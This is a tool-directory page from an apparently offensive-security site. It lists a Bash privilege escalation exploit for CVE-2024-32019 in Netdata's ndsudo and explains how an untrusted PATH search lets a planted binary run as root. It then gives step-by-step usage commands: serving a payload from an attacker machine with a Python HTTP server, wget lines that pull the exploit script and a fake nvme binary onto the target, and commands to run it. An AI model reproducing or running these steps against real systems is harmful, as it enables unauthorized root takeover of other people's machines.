Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-32019-ndsudo — Bash-based privilege escalation exploit for CVE-2024-32019 in Netdata Agent's ndsudo tool, leveraging untrusted PATH search to execute arbitrary binaries with root permissions. | Kitploit
Tools/GitHubGitHub/justjoeyking/cve-2024-32019-ndsudo
Privilege EscalationVulnerability AnalysisExploitationPost-ExploitationPenetration TestingRed Teaming
GitHubjustjoeyking/cve-2024-32019-ndsudo

CVE-2024-32019-ndsudo

Bash-based privilege escalation exploit for CVE-2024-32019 in Netdata Agent's ndsudo tool, leveraging untrusted PATH search to execute arbitrary binaries with root permissions.

Share
View Repository
4211 months agoNot yet reviewed

The ndsudo vulnerability allows an attacker to gain root permissions by exploiting an untrusted search path in the ndsudo tool, which is part of the Netdata Agent. This can enable the execution of arbitrary programs with elevated privileges if the attacker places a malicious binary in a writable directory and modifies the PATH environment variable accordingly.

The ndsudo vulnerability, identified as CVE-2024-32019, affects versions of the ndsudo tool included with the Netdata Agent, specifically versions v1.45.0 and below. This vulnerability allows attackers to escalate privileges on systems where the tool is installed.

How the Vulnerability Works:

Mechanism of Exploitation:-

Untrusted Search Path: The ndsudo tool uses the PATH environment variable to locate external commands. An attacker can manipulate this variable to point to a directory they control.

Execution of Malicious Binaries: By placing a malicious executable with the same name as a command that ndsudo is
allowed to run (e.g., nvme) in a writable directory, the attacker can execute arbitrary code with root permissions.

Attack Complexity:-

Low Complexity: The attack does not require advanced skills, an easily crafted bash script can be used for priviesc making it accessible to many potential attackers.

Impact of the Vulnerability:-

Privilege Escalation: Successful exploitation allows an attacker to gain root access, which can lead to full control over the affected system.

Potential Risks: This can result in unauthorized data access, system manipulation, and further exploitation of network resources.

PRIVILEGE ESCALATION I have created two bash scripts for easily gaining access from user to root. Follow the steps as mentioned below :-

  git clone https://github.com/justjoeyking/CVE-2024-32019-ndsudo.git

  cd CVE-2024-32019-ndsudo

  chmod +x ndsudo_exp.sh

Now create python server :

  python3 -m http.server 8080

Open ndsudo_exploit.sh file using gedit or pluma whichever available. you will be able to see the wget command like this :

  wget http://10.10.14.70:8080/nvme -o /tmp/nvme

Change the ip-address to your own machine ip

Now go to target machine, open terminal and do the following:

  wget http://<your-ip-addr>:8080/ndsudo_exploit.sh

  chmod +x ndsudo_exploit.sh

  ./ndsudo_exploit.sh
Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    960
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    554
  • 3

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    349
  • 4

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    343
  • 5

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    323
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    295

Explore all tools

Browse our collection of tools

View all tools →